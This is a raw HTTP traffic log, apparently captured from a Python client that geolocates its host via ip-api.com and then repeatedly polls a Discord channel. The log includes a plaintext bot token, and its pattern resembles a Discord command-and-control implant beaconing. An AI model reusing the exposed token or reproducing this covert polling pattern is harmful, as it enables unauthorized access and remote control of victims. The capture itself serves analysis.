https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable cf-cache-status: BYPASS Set-Cookie: __dcfduid=11b236d0d9ef11f196a1339742aa911b; Expires=Wed 05-Nov-2031 14:33:44 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __sdcfduid=11b236d0d9ef11f196a1339742aa911b192217799af83b23cd3a9405497daa8bcff38d560c14745a7c9b9f54b87bdf6e; Expires=Wed 05-Nov-2031 14:33:44 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax set-cookie: _cfuvid=7NgnO6XXAZiKr0kHFEul5eGIDEWxH88lrY1c.s.20qw-1793975624.1333382-1.0.1.1-BuGqVMMhsb2Xi2So2UihMC6zQYIHOdSw60w53aU0cd0; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com X-Content-Type-Options: nosniff Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=tA%2F8QXLath11aaHa5Ke0GAXjorLX2RJzKTJYhhAqyC6GwCarnjZ48%2FKIdTnin3gTNvMFIatcGN%2F8F475FVtQxzGUbZo%2FRRUFLGI2AqjiojF3dCf%2BIzFJoWCVvRvi"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable" CF-RAY: a564d0a2dc6c8537-SJC with response body ==>5B7B2274797065223A302C22636F6E74656E74223A22636C69656E7465206365727261646F222C226D656E74696F6E73223A5B5D2C226D656E74696F6E5F726F....... "GET /json/?fields=status,country,countryCode,regionName,city,zip,lat,lon,timezone,isp,org,as,query HTTP/1.1 Host: ip-api.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate, zstd Accept: */* Connection: keep-alive" Response ==> HTTP/1.1 200 OK Date: Fri 06 Nov 2026 14:33:43 GMT Content-Type: application/json; charset=utf-8 Content-Length: 273 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 with response body ==>7B22737461747573223A2273756363657373222C22636F756E747279223A22556E6974656420537461746573222C22636F756E747279436F6465223A22555322....... "GET /api/v10/channels/1567592947002908814/messages?after=1568271633876000831&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate, zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Response ==> HTTP/1.1 200 OK Date: Fri 06 Nov 2026 14:33:46 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: f9f85e747f3e8c1f8f7728d616c030bf x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1793975627.332 x-ratelimit-reset-after: 1.000 x-discord-features: chat Content-Encoding: gzip vary: Accept-Encoding via: 1.1 google alt-svc: h3=":443"; ma=86400 cf-cache-status: BYPASS Set-Cookie: __dcfduid=1302a9e8d9ef11f1a7bd95d846af0ad1; Expires=Wed 05-Nov-2031 14:33:46 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __sdcfduid=1302a9e8d9ef11f1a7bd95d846af0ad131562d291dd0a99c26df0997fb761eee8f23ace48cd3c1d99d355985bdf4f7f5; Expires=Wed 05-Nov-2031 14:33:46 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax set-cookie: _cfuvid=7nseGkhKSyAmh3WRw8Ui.6hHlQnA.RJms6AFxUfFvOo-1793975626.2213314-1.0.1.1-lHlkT9klRiQ2cjUeK8YjapWzVPGCEO0bduir0HSt1Ew; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable X-Content-Type-Options: nosniff Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=8gQBYhnVPdurjikGxSZaKWKZMMhuKRE2SkD%2FkPD3Wry97VoZi%2Foyk2AFvCoFnAXEkckHUsUvKpKjebXac7JF8SMSFxLI3kM0F7fJgs3AGL0uomvMoh4WXaU0nXcX"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable" CF-RAY: a564d0afef99d883-SJC with response body ==>5B7B2274797065223A302C22636F6E74656E74223A22736573695C75303066336E2071525457617A5A65484C49524F5A49205C75323031342036342E3132342E....... "GET /api/v10/channels/1567592947002908814/messages?after=1568272184554557460&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate, zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Response ==> HTTP/1.1 200 OK Date: Fri 06 Nov 2026 14:33:49 GMT Content-Type: application/json Content-Length: 3 Connection: keep-alive Server: cloudflare strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: f9f85e747f3e8c1f8f7728d616c030bf x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1793975630.657 x-ratelimit-reset-after: 1.000 x-discord-features: chat via: 1.1 google alt-svc: h3=":443"; ma=86400 Accept-Ranges: bytes cf-cache-status: BYPASS Set-Cookie: __dcfduid=14f3142cd9ef11f1afa22764779f5e21; Expires=Wed 05-Nov-2031 14:33:49 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __sdcfduid=14f3142cd9ef11f1afa22764779f5e218d4c67ee97759a2c208f9b986e1102e5987370050363ed56775aa71a222a08ea; Expires=Wed 05-Nov-2031 14:33:49 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax set-cookie: _cfuvid=Vlt64e1H3WgR7mgBu7MlcFQ9_ab8ss_7vq6EfYojv.4-1793975629.5833955-1.0.1.1-n6lXa3C3MXA4GcXVLHJCvdHA0BofPuFXBqPzno4CKhk; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable X-Content-Type-Options: nosniff Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=RsvaNaLjJCcIgOm4M13cd9lksPIrHwTrUghrJyrG0JPNyylLlv9V8pqD0uT013OEFEr0rTADScV%2BKYcftGk0MC4%2FkIqF5z6UAukwzZgXtfXmtMWthNQdJsAOZofp"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable" CF-RAY: a564d0c4ee9a0fb5-SJC with response body ==>5B5D0A....... "GET /api/v10/channels/1567592947002908814/messages?after=1568272184554557460&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate, zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Response ==> HTTP/1.1 200 OK Date: Fri 06 Nov 2026 14:33:53 GMT Content-Type: application/json Content-Length: 3 Connection: keep-alive Server: cloudflare strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: f9f85e747f3e8c1f8f7728d616c030bf x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1793975633.952 x-ratelimit-reset-after: 1.000 x-discord-features: chat via: 1.1 google alt-svc: h3=":443"; ma=86400 cf-cache-status: BYPASS Set-Cookie: __dcfduid=16e799e2d9ef11f197731dca17a56928; Expires=Wed 05-Nov-2031 14:33:52 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __sdcfduid=16e799e2d9ef11f197731dca17a569288813ec611a6307f0f5718a52ba275f3e429e11e11c6338acd86945de5b251959; Expires=Wed 05-Nov-2031 14:33:52 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax set-cookie: _cfuvid=RU8v.P1V0ore7bSwuoJMGqR3VYh2Mz14rIxPRZjpRgI-1793975632.8836944-1.0.1.1-smvDizrR3VDA9SlPt8q.OEXwpxG3zjSSqwg5Vpq0iss; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable X-Content-Type-Options: nosniff Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=arzwAy5EQKGJzMBgLAEmZXIYFB39HPs2X%2FMjMv238VtR8faE5s63%2F6EHxvu5FOhGtQVW8dxRMi8xlcPSV0g0y5ykRR9GDHMN5nD8axPlqaX1HQ1vnqUj7SxPI4kl"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable" CF-RAY: a564d0d98f06ac07-SJC with response body ==>5B5D0A....... "GET /api/v10/channels/1567592947002908814/messages?after=1568272184554557460&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate, zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Response ==> HTTP/1.1 200 OK Date: Fri 06 Nov 2026 14:33:56 GMT Content-Type: application/json Content-Length: 3 Connection: keep-alive Server: cloudflare strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: f9f85e747f3e8c1f8f7728d616c030bf x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1793975637.260 x-ratelimit-reset-after: 1.000 x-discord-features: chat via: 1.1 google alt-svc: h3=":443"; ma=86400 cf-cache-status: BYPASS Set-Cookie: __dcfduid=18e7f570d9ef11f1902f8fa600abd51d; Expires=Wed 05-Nov-2031 14:33:56 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __sdcfduid=18e7f570d9ef11f1902f8fa600abd51d9ecc8bed4abd4afd5bc4eeef571baf16f54dd55530e6e99cf33d6e8a2a4e9c4a; Expires=Wed 05-Nov-2031 14:33:56 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax set-cookie: _cfuvid=ofzoClseCz_TC9a1ED7xN0oYyu5LN4Hanv8gHXardnI-1793975636.1703618-1.0.1.1-4tDM7rIF2gA1j40AShzUNWBKRkJg_o0aecJMV_E8Lcg; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable X-Content-Type-Options: nosniff Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=hZPqQG0UfR%2FZsnMJ1vGGeSt2kHfynVZdF3ct25fm%2B1wxGpP1Pgr4kZAFDwk3QcILMOUhSnF%2Be6b3BR8%2FYmmB1CrzMJyn6OY6nsbOMT6k1kGQ0%2Fcw0Xn9dcB0%2B4yU"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable" CF-RAY: a564d0ee0b1414cc-SJC with response body ==>5B5D0A....... "GET /api/v10/channels/1567592947002908814/messages?after=1568272184554557460&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate, zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Response ==> HTTP/1.1 200 OK Date: Fri 06 Nov 2026 14:33:59 GMT Content-Type: application/json Content-Length: 3 Connection: keep-alive Server: cloudflare strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: f9f85e747f3e8c1f8f7728d616c030bf x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1793975640.606 x-ratelimit-reset-after: 1.000 x-discord-features: chat via: 1.1 google alt-svc: h3=":443"; ma=86400 cf-cache-status: BYPASS Set-Cookie: __dcfduid=1ae2d3aed9ef11f19ddd05a0f0124c0c; Expires=Wed 05-Nov-2031 14:33:59 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __sdcfduid=1ae2d3aed9ef11f19ddd05a0f0124c0c02ba9c03a721e9a878426570e2599abe50656539a400160618d679033989a78a; Expires=Wed 05-Nov-2031 14:33:59 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax set-cookie: _cfuvid=RFWnuMg.WG6.1xJ3V7lWiF1XXO6eiXO6g0rZ.risUsY-1793975639.5347176-1.0.1.1-XylWdPppsD8PDchIu6xTO7GW2wa4f2679w3D_SPmAbg; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable X-Content-Type-Options: nosniff Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=ijglVH%2FREO1Ls6JpB4IKi0v5dyj%2F44MzFDuZ3kGt8oVLdlmCKpyaTCcPSEaM1dNgiKN%2F3on5HXgtse2f46ugVrgoxbah2jEihaQ7bCywvvazpU2mykOyDC%2B%2FzAC%2F"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable" CF-RAY: a564d1031851ce70-SJC with response body ==>5B5D0A....... "GET /api/v10/channels/1567592947002908814/messages?after=1568272184554557460&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate, zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Response ==> HTTP/1.1 200 OK Date: Fri 06 Nov 2026 14:34:03 GMT Content-Type: application/json Content-Length: 3 Connection: keep-alive Server: cloudflare strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: f9f85e747f3e8c1f8f7728d616c030bf x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1793975644.012 x-ratelimit-reset-after: 1.000 x-discord-features: chat via: 1.1 google alt-svc: h3=":443"; ma=86400 cf-cache-status: BYPASS Set-Cookie: __dcfduid=1ceaff78d9ef11f18c66d17ba353fda5; Expires=Wed 05-Nov-2031 14:34:03 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __sdcfduid=1ceaff78d9ef11f18c66d17ba353fda580c23df4936df5a933c214ce794eb380b30a35b4345672baa875976e154c3b26; Expires=Wed 05-Nov-2031 14:34:03 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax set-cookie: _cfuvid=pPG6JC2F5W59ho9cMVh6vNE34.IZP3uVAcUkM3OsDM0-1793975642.8982534-1.0.1.1-gQ2F0IVKgfKjEooBPioqm6uwhYHU5Il7A.iHTsr8luo; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable X-Content-Type-Options: nosniff Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=4dFRM9oMzdB419FaoGv0oh3fnIIEgkHP8TX7wKPfgGZ4yzwDw1aoTpQG%2Brd65O1nH8VQmOvhD1i4B29MV%2BVyKDglCbOkJh%2FSOzBLfJMD1wUEy%2BiaynOKCEJCl%2BhC"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable" CF-RAY: a564d1181e7a1698-SJC with response body ==>5B5D0A....... "GET /api/v10/channels/1567592947002908814/messages?after=1568272184554557460&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate, zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Response ==> HTTP/1.1 200 OK Date: Fri 06 Nov 2026 14:34:06 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: f9f85e747f3e8c1f8f7728d616c030bf x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1793975647.323 x-ratelimit-reset-after: 1.000 x-discord-features: chat Content-Encoding: gzip vary: Accept-Encoding via: 1.1 google alt-svc: h3=":443"; ma=86400 cf-cache-status: BYPASS Set-Cookie: __dcfduid=1ee31766d9ef11f1aed1a7c0e4dcf7a0; Expires=Wed 05-Nov-2031 14:34:06 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __sdcfduid=1ee31766d9ef11f1aed1a7c0e4dcf7a0554d346d3e5f75fe61c67d80edb7a983cc3118247ab54c7a3f7d3e34fefa99e6; Expires=Wed 05-Nov-2031 14:34:06 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax set-cookie: _cfuvid=mgFllS4z8pF3K2QwOeGMAeIw01Rm_ic8dXj7GFulZ4I-1793975646.2447429-1.0.1.1-KIkEqI7_CH6anvl94Xpogf7tYf2B9fgMtRaUy9Vrpuc; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable X-Content-Type-Options: nosniff Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=dGLhSXxskmITczEkWwuvLOLOOjOhhCvHwH3CfwsZ9e8erUxDkHVatq%2F%2FrKpcQU5u6RBVNhDv5ThYpEQOH6hHRB9LXLr9Yaum9dLY5o%2FINIMyEuC2CrSx58dFIqJj"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable" CF-RAY: a564d12d0fc7e418-SJC with response body ==>5B7B2274797065223A302C22636F6E74656E74223A223C40313536353735393432303030373139343635353E222C226D656E74696F6E73223A5B7B226964223A....... "GET /api/v10/channels/1567592947002908814/messages?after=1568272263772381308&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate, zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Response ==> HTTP/1.1 200 OK Date: Fri 06 Nov 2026 14:34:09 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: f9f85e747f3e8c1f8f7728d616c030bf x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1793975650.643 x-ratelimit-reset-after: 1.000 x-discord-features: chat Content-Encoding: gzip vary: Accept-Encoding via: 1.1 google alt-svc: h3=":443"; ma=86400 Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable cf-cache-status: BYPASS Set-Cookie: __dcfduid=20db3b0cd9ef11f192f2b932047567ae; Expires=Wed 05-Nov-2031 14:34:09 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __sdcfduid=20db3b0cd9ef11f192f2b932047567ae20ec1186307bfc899a40df8a85741a5629bb445c4912bd4569d36000877e4e97; Expires=Wed 05-Nov-2031 14:34:09 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax set-cookie: _cfuvid=Bwm29xJhMb9nVCOlRvLFGCNVchUyL71V5lNok_apcuA-1793975649.5497844-1.0.1.1-Fbw.ZMpa1wwcZmKUtvL4foqNjfw6JaPsWWpw97TVV0Y; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com X-Content-Type-Options: nosniff Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=YV1XewkuX6zUaoZk23P3ovWSoq64QL6IgLIP4dmqaus0jTMG2e%2B8IQmCKwZ9wSkyEkHAcC8xwgG7yNkXEZPhn1C5uFDTy4RHNRQdbBXVLnSZv3zbgERbz9Qt%2FDfc"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable" CF-RAY: a564d141af43cfcc-SJC with response body ==>5B7B2274797065223A302C22636F6E74656E74223A22657265732074753F222C226D656E74696F6E73223A5B5D2C226D656E74696F6E5F726F6C6573223A5B5D....... "GET /api/v10/channels/1567592947002908814/messages?after=1568272276011352136&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate, zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Response ==> HTTP/1.1 200 OK Date: Fri 06 Nov 2026 14:34:13 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: f9f85e747f3e8c1f8f7728d616c030bf x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1793975653.998 x-ratelimit-reset-after: 1.000 x-discord-features: chat Content-Encoding: gzip vary: Accept-Encoding via: 1.1 google alt-svc: h3=":443"; ma=86400 Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable cf-cache-status: BYPASS Set-Cookie: __dcfduid=22dc7c0ed9ef11f1b592fdf641a1476a; Expires=Wed 05-Nov-2031 14:34:13 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __sdcfduid=22dc7c0ed9ef11f1b592fdf641a1476a6e22d1f5b25ce92ae1f5968323f6dbfc42fae27c2a132cb6052f30bacb8ce57a; Expires=Wed 05-Nov-2031 14:34:13 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax set-cookie: _cfuvid=OcA51zzLBKthXQDNa7LRe8mstWVK9KzNIrNDiOupKVw-1793975652.8845816-1.0.1.1-7rh3ng0bVMjuiC9OYca5W9OExJvTqYGmJfX_5pnnpr0; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com X-Content-Type-Options: nosniff Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=MTJoMy1NqFupV8NZjMSIPLnkdcUJv3Glx08UZZVFSWmd4%2BlImieALcINfgAoK3lE24%2B19IYMVCROxTNe%2BRblh2ZDgdT%2BXdPm9yPAz2nFdYkS8Tmo3AQpG4Jku5mi"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable" CF-RAY: a564d1568d4c15c4-SJC with response body ==>5B7B2274797065223A302C22636F6E74656E74223A22736920736F7920796F222C226D656E74696F6E73223A5B5D2C226D656E74696F6E5F726F6C6573223A5B....... "GET /api/v10/channels/1567592947002908814/messages?after=1568272292512014477&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate, zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Response ==> HTTP/1.1 200 OK Date: Fri 06 Nov 2026 14:34:17 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: f9f85e747f3e8c1f8f7728d616c030bf x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1793975658.288 x-ratelimit-reset-after: 1.000 x-discord-features: chat Content-Encoding: gzip vary: Accept-Encoding via: 1.1 google alt-svc: h3=":443"; ma=86400 Content-Security-Policy: frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable cf-cache-status: BYPASS Set-Cookie: __dcfduid=25717c94d9ef11f1b13afd0a6dd9464f; Expires=Wed 05-Nov-2031 14:34:17 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __sdcfduid=25717c94d9ef11f1b13afd0a6dd9464f4b583901c0532286208e487ce992d275da77d8c464ebe325ae863b57f84edc91; Expires=Wed 05-Nov-2031 14:34:17 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax set-cookie: _cfuvid=mXS7piDolKl9PlNKp.k60MoDbog9k_e_EUAh39Ugybw-1793975657.198413-1.0.1.1-szX031aERZ6JbjRVaX75z4bt2gNw9vMHN9YLB6VHEds; HttpOnly; SameSite=None; Secure; Path=/; Domain=discord.com X-Content-Type-Options: nosniff Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=O6CiQxKoPlb3zqKHTLdhIkPWZuQusodFdX2ZUDyOPjBadp6OMFIV3nkNh4Z%2FtV46c88%2FHy7Iym3ZaOQkmuNmNS27JgUjyM3IiJfVa0gro7JsRIroxjyxRwhWgOYO"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Reporting-Endpoints: csp-sentry="https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable" CF-RAY: a564d17178451fa8-SJC with response body ==>5B7B2274797065223A31392C22636F6E74656E74223A226168222C226D656E74696F6E73223A5B7B226964223A22313536353735393432303030373139343635....... "GET /api/v10/channels/1567592947002908814/messages?after=1568272313302913185&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip, deflate, zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Response ==> HTTP/1.1 200 OK Date: Fri 06 Nov 2026 14:34:20 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: f9f85e747f3e8c1f8f7728d616c030bf x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1793975661.643 x-ratelimit-reset-after: 1.000 x-discord-features: chat Content-Encoding: gzip vary: Accept-Encoding via: 1.1 